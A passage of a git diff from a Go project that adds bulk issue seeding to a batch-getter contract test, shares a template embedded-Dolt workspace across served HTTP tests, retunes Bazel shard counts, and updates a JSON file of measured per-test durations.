issues in one call. Optional: only + // RunBatchGetterAcceptsExactlyTheCap uses it, to seed its MaxGetManyIDs + // issues in one write instead of MaxGetManyIDs single-row commits (about + // 200s of the embedded suites' race runs); nil falls back to CreateIssue + // per row. The seeded rows are the same either way, and the case asserts + // only on the GetMany read. + CreateIssues func(context.Context, []*types.Issue, string) error // CreateWisp seeds an ephemeral issue in the wisps plane. It is a separate // field rather than an Ephemeral flag on CreateIssue because the three // adapters reach the two planes through different verbs. @@ -205,7 +212,7 @@ func RunBatchGetterAcceptsExactlyTheCap(t *testing.T, ctx context.Context, fixtu for i := range ids { ids[i] = fmt.Sprintf("%s-atcap-%d", fixture.IssuePrefix, i) } - seedBatchGetterIssues(t, ctx, fixture, ids...) + seedBatchGetterIssuesInBulk(t, ctx, fixture, ids...) result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: ids}) if len(result.Issues) != publicops.MaxGetManyIDs { @@ -363,6 +370,23 @@ func seedBatchGetterIssues(t *testing.T, ctx context.Context, fixture BatchGette } } +// seedBatchGetterIssuesInBulk seeds the same rows as seedBatchGetterIssues, +// through the fixture's CreateIssues hook when it has one. +func seedBatchGetterIssuesInBulk(t *testing.T, ctx context.Context, fixture BatchGetterFixture, ids ...string) { + t.Helper() + if fixture.CreateIssues == nil { + seedBatchGetterIssues(t, ctx, fixture, ids...) + return + } + issues := make([]*types.Issue, len(ids)) + for i, id := range ids { + issues[i] = batchGetterSeed(id, false) + } + if err := fixture.CreateIssues(ctx, issues, "batch-getter-seed"); err != nil { + t.Fatalf("seed %d issues: %v", len(issues), err) + } +} + func seedBatchGetterWisp(t *testing.T, ctx context.Context, fixture BatchGetterFixture, id string) { t.Helper() if err := fixture.CreateWisp(ctx, batchGetterSeed(id, true), "batch-getter-seed"); err != nil { diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index a9f34e510..15ba5624c 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1039,7 +1039,7 @@ Required` requires them to have run remotely and passed. - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; the manifest's frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, - F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (15; + F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), `//cmd/bd:bd_proxied_test` (30; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and @@ -1071,7 +1071,7 @@ Required` requires them to have run remotely and passed. Its Tier 3, the served HTTP corpus (`./internal/httpclient` with `BEADS_TEST_EMBEDDED_DOLT=1` and `BEADS_HTTP_TEST_REQUIRED=1`), runs in the embedded lane as `//internal/httpclient:httpclient_served_test` - (race build, 24 shards). + (race build, 16 shards). `docs-mintlify.yml` likewise drops its docsync job (`go test ./test/docsync`, which `bazel-test` runs as `//test/docsync:docsync_test`) and keeps only Mintlify's network-bound broken-link check. diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index beffe7048..8e8bc8be3 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -79,11 +79,12 @@ go_library( go_test( name = "httpclient_test", - # Unsharded, this package takes ~350s under --config=ci (BEADS_TEST_SKIP=dolt, no - # BEADS_TEST_EMBEDDED_DOLT): mostly wall-clock wait on the CA tests' dialer/keep-alive - # timeouts, not CPU. The go_test default size (medium, 300s timeout) leaves no margin - # and times out intermittently; size=large/timeout=long follows the same convention as - # //internal/storage/embeddeddolt's go_test. + # Unsharded, this package took 137-228s on rbe-west under --config=ci + # (BEADS_TEST_SKIP=dolt, no BEADS_TEST_EMBEDDED_DOLT; 2026-10-09), the test lane's + # longest single action. Two shards (rules_go deals tests out round-robin) put + # ~68s of measured test time on each; the three heaviest tests (31s, 20s, 13s) + # land on different shards. size=large/timeout=long follows the same convention + # as //internal/storage/embeddeddolt's go_test. size = "large", timeout = "long", srcs = [ @@ -171,6 +172,7 @@ go_test( # `make bazel-sync` (the directive just says so). data = glob(["*.go"]), embed = [":httpclient"], + shard_count = 2, deps = [ "//backend/conformance", "//internal/eventsjournal", @@ -203,12 +205,14 @@ go_test( # fails each served case rather than skipping it. It is the script's run on # the lane's race build (raceEnabled shrinks its one large apply). # -# Shard count: on the lane's executors (2026-10-08) the package is 702 tests -# and ~3,700 test-seconds, the heaviest, TestServedBatchGetterContract, at -# 170-230s. rules_go deals the tests out round-robin, so the shard that draws -# it runs it plus about a 24th of the rest: 283s measured, ~370s at the slow -# end. Both are under the ~410s cmd/bd shard that sets the lane's floor (see -# bazel.yml's bazel-embedded), so this target does not lengthen the lane. +# Shard count: on the lane's executors (rbe-west, 2026-10-09) the package is +# 725 tests and ~1,300 test-seconds, the heaviest about 54s. Each served case +# copies one per-process template workspace instead of initializing its own +# embedded Dolt schema (served_harness_test.go's servedTemplateWorkspace), +# and TestServedBatchGetterContract seeds its 1000 issues in one write: before +# both, the package was ~3,700 test-seconds over 24 shards, the heaviest shard +# 390s. rules_go deals the tests out round-robin; at 16 shards the measured +# loads come to 62-112s per shard. # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -233,7 +237,7 @@ sh_test( "BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1", }, - shard_count = 24, + shard_count = 16, tags = ["embedded"], ) diff --git a/internal/httpclient/served_batch_getter_test.go b/internal/httpclient/served_batch_getter_test.go index 746167eb0..18813fc01 100644 --- a/internal/httpclient/served_batch_getter_test.go +++ b/internal/httpclient/served_batch_getter_test.go @@ -35,6 +35,7 @@ func TestServedBatchGetterContract(t *testing.T) { IssuePrefix: "bge", BatchGetter: getter, CreateIssue: e.createIssue, + CreateIssues: e.reference.CreateIssues, CreateWisp: e.createWisp, CountHistory: e.countHistory, } diff --git a/internal/httpclient/served_harness_test.go b/internal/httpclient/served_harness_test.go index 3b11d9749..917335a2a 100644 --- a/internal/httpclient/served_harness_test.go +++ b/internal/httpclient/served_harness_test.go @@ -7,10 +7,12 @@ package httpclient import ( "context" + "fmt" "io" "net/url" "os" "path/filepath" + "sync" "testing" "time" @@ -44,7 +46,10 @@ import ( // per case costs about a second; sharing one across cases would make an id // collision between two contracts a debugging session instead of a rename, and // the contracts namespace their ids by prefix precisely so they can be run this -// way. +// way. Each case's engine is a private copy of one freshly initialized +// workspace (servedTemplateWorkspace), not a fresh init of its own: creating +// the schema is most of a case's cost under -race, and it is the same schema +// every time. // servedEnv is one client-server-store triple and the hooks a fixture needs. type servedEnv struct { @@ -120,7 +125,14 @@ func newServedEnvExpecting(t *testing.T, prefix, expectID string, opts ...func(* t.Helper() skipUnlessEmbeddedDolt(t) + template, err := servedTemplateWorkspace() + if err != nil { + t.Fatalf("initialize the reference workspace template: %v", err) + } beadsDir := t.TempDir() + if err := os.CopyFS(beadsDir, os.DirFS(template)); err != nil { + t.Fatalf("copy the reference workspace template: %v", err) + } ctx := t.Context() reference, err := embeddeddolt.Open(ctx, beadsDir, servedDatabase, "main") if err != nil { @@ -176,6 +188,39 @@ func newServedEnvExpecting(t *testing.T, prefix, expectID string, opts ...func(* } } +var ( + servedTemplateOnce sync.Once + servedTemplateDir string + servedTemplateErr error +) + +// servedTemplateWorkspace initializes one reference workspace per test process +// (embeddeddolt.Open on an empty directory: the schema and every migration) and +// closes it, so each newServedEnv can copy the closed workspace and reopen it +// instead of initializing its own. TestMain removes it after the last case. +func servedTemplateWorkspace() (string, error) { + servedTemplateOnce.Do(func() { + dir, err := os.MkdirTemp("", "httpclient-served-template-") + if err != nil { + servedTemplateErr = err + return + } + store, err := embeddeddolt.Open(context.Background(), dir, servedDatabase, "main") + if err != nil { + _ = os.RemoveAll(dir) + servedTemplateErr = fmt.Errorf("open %s: %w", dir, err) + return + } + if err := store.Close(); err != nil { + _ = os.RemoveAll(dir) + servedTemplateErr = fmt.Errorf("close %s: %w", dir, err) + return + } + servedTemplateDir = dir + }) + return servedTemplateDir, servedTemplateErr +} + // serveConfig binds every served role to the reference store. // // Every one of them is taken through the store's own capability accessor rather diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go index 5bc182b82..5037cb1f7 100644 --- a/internal/httpclient/served_test.go +++ b/internal/httpclient/served_test.go @@ -73,6 +73,9 @@ func TestMain(m *testing.M) { if compositionStop != nil { compositionStop() } + if servedTemplateDir != "" { + _ = os.RemoveAll(servedTemplateDir) + } os.Exit(code) } diff --git a/internal/storage/dolt/batch_getter_contract_test.go b/internal/storage/dolt/batch_getter_contract_test.go index 9fc0ff654..9fe6fb8f6 100644 --- a/internal/storage/dolt/batch_getter_contract_test.go +++ b/internal/storage/dolt/batch_getter_contract_test.go @@ -5,6 +5,8 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" ) // TestBatchGetterContract runs the BatchGetter contract against the @@ -77,10 +79,17 @@ func newDoltBatchGetterFixture(t *testing.T, prefix string) (conformance.BatchGe t.Fatalf("BatchGetter(): %v", err) } kit := newDoltRoleFixtureKit(store, prefix) + // The shared test store's configured prefix is not the fixture's, and the + // batch path validates prefixes where the per-row CreateIssue every other + // seed uses does not; skip it so both paths seed the same rows. + createIssues := func(ctx context.Context, issues []*types.Issue, actor string) error { + return store.CreateIssuesWithFullOptions(ctx, issues, actor, storage.BatchCreateOptions{SkipPrefixValidation: true}) + } fixture := conformance.BatchGetterFixture{ IssuePrefix: kit.IssuePrefix, BatchGetter: getter, CreateIssue: kit.CreateIssue, + CreateIssues: createIssues, CreateWisp: kit.CreateWisp, CountHistory: kit.CountHistory, } diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index e4e9258db..64e516d60 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -94,7 +94,11 @@ go_library( go_test( name = "embeddeddolt_test", # -race -short runs ~6 min unsharded (pr-core gives go test -timeout=30m). - # Bazel shards by test count, not duration. + # Bazel shards by test count, not duration: rules_go deals tests out + # round-robin. At 8 shards one shard drew TestWithPeerAuth, + # TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword and + # TestPushCommitsPendingChangesFirst (100-153s on rbe-west); 9 spreads + # them (measured costs put the heaviest shard at ~87s). size = "large", timeout = "long", srcs = [ @@ -230,7 +234,7 @@ go_test( "workspace_config_contract_test.go", ], embed = [":embeddeddolt"], - shard_count = 8, + shard_count = 9, deps = [ "//:beads", "//backend/conformance", @@ -265,10 +269,10 @@ go_test( ], ) -# Runs 15 Bazel shards against every top-level Test* function in +# Runs 20 Bazel shards against every top-level Test* function in # internal/storage/embeddeddolt/*_test.go but TestConformance, assigned by -# the manifest's 15-shard block (duration-balanced; see -# scripts/ci/embedded_storage_test_durations.json), with +# the manifest's 20-shard block (duration-balanced on rbe-west measurements; +# see scripts/ci/embedded_storage_test_durations.json), with # BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points # BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test # re-executes. This is a *different* shard count from PR Risk's legacy @@ -304,7 +308,7 @@ sh_test( "//:.github/scripts/embedded-storage-test-shards.txt", ], env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, - shard_count = 15, + shard_count = 20, tags = ["embedded"], ) diff --git a/internal/storage/embeddeddolt/batch_getter_contract_test.go b/internal/storage/embeddeddolt/batch_getter_contract_test.go index 2da37613d..3bf28b2b4 100644 --- a/internal/storage/embeddeddolt/batch_getter_contract_test.go +++ b/internal/storage/embeddeddolt/batch_getter_contract_test.go @@ -76,6 +76,7 @@ func newEmbeddedBatchGetterFixture(t *testing.T, te *testEnv, prefix string) con IssuePrefix: kit.IssuePrefix, BatchGetter: getter, CreateIssue: kit.CreateIssue, + CreateIssues: te.store.CreateIssues, CreateWisp: kit.CreateWisp, CountHistory: kit.CountHistory, } diff --git a/scripts/ci/embedded_storage_test_durations.json b/scripts/ci/embedded_storage_test_durations.json index 92c4c4ede..7e3ae6350 100644 --- a/scripts/ci/embedded_storage_test_durations.json +++ b/scripts/ci/embedded_storage_test_durations.json @@ -1,17 +1,21 @@ { "_comment": [ - "Measured locally with `bazel --nohome_rc test --config=embedded", - "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", - "--local_test_jobs=8` alongside the cmd-tier and conformance targets (all", - "four run in the same invocation, the same way bazel.yml's bazel-embedded", - "tier runs its shards concurrently on one host) -- race,", - "`-test.parallel=4`, tag filter `embedded`, run with the real committed", - "14-shard manifest (.github/scripts/embedded-storage-test-shards.txt) so", - "every one of the 387 top-level Test* functions (excluding TestConformance,", - "sharded separately, and TestMain, which is not dispatched through", - "-test.run and carries no measurable duration of its own) that existed at", - "capture time ran exactly once (local sandboxed execution only; no remote", - "executor or cache flags were configured for this measurement run).", + "Measured on rbe-west, the lane's own remote executors (instance oss), on", + "2026-10-09: two `bazel test --config=embedded --nocache_test_results", + "//internal/storage/embeddeddolt:embeddeddolt_embedded_test` runs (race,", + "`-test.parallel=4`), one with the then-committed 15-shard manifest and one", + "with an 18-shard repack, so every one of the 395 top-level Test* functions", + "(excluding TestConformance, sharded separately, and TestMain) ran exactly", + "once per run. Each value is the mean of the two runs; the second ran under", + "heavier executor load and came out ~25% slower across the board, which is", + "the spread to expect between CI runs. Both runs were taken after", + "RunBatchGetterAcceptsExactlyTheCap started seeding its 1000 issues in one", + "CreateIssues call (TestBatchGetterContract: 198.87s -> ~7s on the same", + "executors). The previous capture was local sandboxed execution, and it", + "predated TestBatchGetterContract, so the packer weighted that test at its", + "t.Run fallback (~54s) and stacked a ~200s test onto an already full shard", + "(shard 9 of 15: 352s in CI). Remote shard wall time tracked the packed", + "cost to within 2% in both runs (correlation 0.999+).", "", "Each value is that top-level test's own from Bazel's", "generated test.xml, NOT the enclosing , for the same", @@ -76,394 +80,402 @@ "changes all mean a shard's total packed cost is a planning estimate, not", "a guarantee." ], - "seconds_per_init_fallback": 3.8877, + "seconds_per_init_fallback": 2.416, "tests": { "TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase": 0.0, "TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase": 0.0, - "TestAddDependency": 33.47, - "TestAddLabel": 1.12, - "TestBatchApplyContract": 151.73, - "TestBatchCreatorContract": 11.81, - "TestBlockingAnnotatorContract": 17.98, - "TestBootstrapperContract": 3.79, + "TestAddDependency": 24.83, + "TestAddLabel": 0.61, + "TestBatchApplyContract": 62.95, + "TestBatchCreatorContract": 17.7, + "TestBatchGetterContract": 6.37, + "TestBlockingAnnotatorContract": 10.55, + "TestBootstrapperContract": 2.03, "TestBuildDSN_NoDatabase": 0.0, "TestBuildDSN_SpacesInPath": 0.0, "TestBuildDSN_WithDatabase": 0.0, "TestCleanGitRemoteCacheGarbage": 0.0, "TestCleanGitRemoteCacheGarbage_NoCacheDir": 0.0, "TestCleanGitRemoteCacheGarbage_Throttled": 0.0, - "TestCommenterContract": 25.32, - "TestCommitAllOutOfBandChangeAndHonestNoOp": 1.1, - "TestConcurrencyMultiProcess": 6.48, - "TestConcurrentOpenReturnsCached": 18.03, - "TestCounterContract": 10.53, - "TestCountsIncludeWispDependencies": 1.73, - "TestCountsWithMissingWispPlaneTables": 3.29, - "TestCreateIssue": 35.89, - "TestCreateIssues": 19.14, - "TestCreateIssuesRejectStaleUpserts": 9.47, - "TestCreateRejectsCrossTableIDCollision": 2.63, + "TestCommenterContract": 4.51, + "TestCommitAllOutOfBandChangeAndHonestNoOp": 0.58, + "TestConcurrencyMultiProcess": 4.32, + "TestConcurrentOpenReturnsCached": 11.14, + "TestCounterContract": 21.42, + "TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra": 0.8, + "TestCountsIncludeWispDependencies": 1.12, + "TestCountsWithMissingWispPlaneTables": 1.93, + "TestCreateBatchFastPathsMatchPerRowLarge_Embedded": 0.0, + "TestCreateBatchFastPathsMatchPerRow_Embedded": 89.57, + "TestCreateIssue": 21.51, + "TestCreateIssues": 16.54, + "TestCreateIssuesRejectStaleUpserts": 3.85, + "TestCreateRejectsCrossTableIDCollision": 1.54, "TestCrossRecordInvariantContract": 0.0, - "TestCycleDetectorContract": 14.23, - "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 18.0, - "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 17.16, - "TestDeleterContract": 61.52, + "TestCycleDetectorContract": 7.24, + "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 10.81, + "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 11.12, + "TestDeleterContract": 42.31, "TestDepRekeyMarkerStillInIgnoredSeries": 0.0, - "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 4.78, + "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 1.83, "TestDoltCommitResponseLossIsIndeterminate": 0.0, - "TestDualWriteContract": 2.41, - "TestDualWriteContractFlagOff": 0.74, - "TestDualWriteFixtureKitIsWired": 1.06, - "TestEdgeReaderContract": 10.02, - "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 1.9, - "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 19.12, - "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 20.46, - "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 19.63, - "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 2.3, - "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 0.79, - "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 1.36, - "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 22.31, - "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 19.41, - "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 1.64, - "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 20.52, - "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 4.15, - "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.81, - "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 21.59, - "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 22.63, - "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 22.49, - "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 1.99, - "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 18.68, - "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 9.26, - "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 1.89, - "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.79, - "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 20.58, - "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 21.27, - "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 22.27, - "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 22.28, - "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 1.35, - "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.81, - "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 1.13, - "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 2.21, - "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 1.6, - "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 1.43, - "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.7, - "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 1.43, - "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 1.02, - "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 1.07, - "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.81, - "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 2.5, - "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 18.89, - "TestEmbeddedCommitToleratesNothingToCommit": 1.12, - "TestEmbeddedConfigCommitStagesConfig": 0.55, - "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 14.53, - "TestEmbeddedDepRekeyConvergesRenameChain": 14.34, - "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 29.13, - "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 15.17, - "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 14.62, - "TestEmbeddedDependencyEditorAcceptsADiamond": 3.43, - "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 1.1, - "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 1.53, - "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.93, - "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 3.07, - "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 3.21, - "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 2.1, - "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 2.3, - "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 2.62, - "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 5.12, - "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 2.82, - "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 6.74, - "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.92, - "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.75, - "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 1.62, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.83, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 3.76, - "TestEmbeddedDependencyEditorRefusalWritesNothing": 2.44, - "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 9.58, - "TestEmbeddedDependencyEditorRefusesAGhostSource": 1.87, - "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 1.41, - "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 3.51, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 2.37, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 2.44, - "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 1.64, - "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 1.18, - "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 3.62, - "TestEmbeddedDependencyEditorRemoveIsIdempotent": 3.04, - "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 6.72, - "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.88, - "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 2.47, - "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 1.63, - "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 1.47, - "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 2.85, - "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 2.06, - "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 2.15, - "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 3.79, - "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 1.77, - "TestEmbeddedDependencyEditorSnapshotsTheRequest": 1.19, - "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 1.01, - "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 3.61, - "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 3.14, - "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 25.82, + "TestDualWriteContract": 1.46, + "TestDualWriteContractFlagOff": 0.46, + "TestDualWriteFixtureKitIsWired": 0.21, + "TestEdgeReaderContract": 6.2, + "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 12.17, + "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 0.89, + "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 10.96, + "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 11.11, + "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 1.48, + "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 0.52, + "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 6.01, + "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 13.75, + "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 5.79, + "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 12.23, + "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 6.46, + "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 9.44, + "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.06, + "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 12.34, + "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 12.61, + "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 13.57, + "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 6.56, + "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 11.7, + "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 13.28, + "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 1.27, + "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.24, + "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 11.59, + "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 14.75, + "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 12.69, + "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 3.17, + "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 0.79, + "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.13, + "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 0.8, + "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 1.36, + "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 0.72, + "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 0.92, + "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.02, + "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 0.82, + "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 0.58, + "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 0.64, + "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.11, + "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 1.42, + "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 0.69, + "TestEmbeddedCommitToleratesNothingToCommit": 0.53, + "TestEmbeddedConfigCommitStagesConfig": 0.33, + "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 8.79, + "TestEmbeddedDepRekeyConvergesRenameChain": 8.79, + "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 15.36, + "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 7.66, + "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 8.19, + "TestEmbeddedDependencyEditorAcceptsADiamond": 3.03, + "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 0.6, + "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 1.26, + "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.59, + "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 2.3, + "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 1.9, + "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 1.85, + "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 2.17, + "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 1.82, + "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 4.26, + "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 1.91, + "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 4.53, + "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.35, + "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.11, + "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 0.69, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.0, + 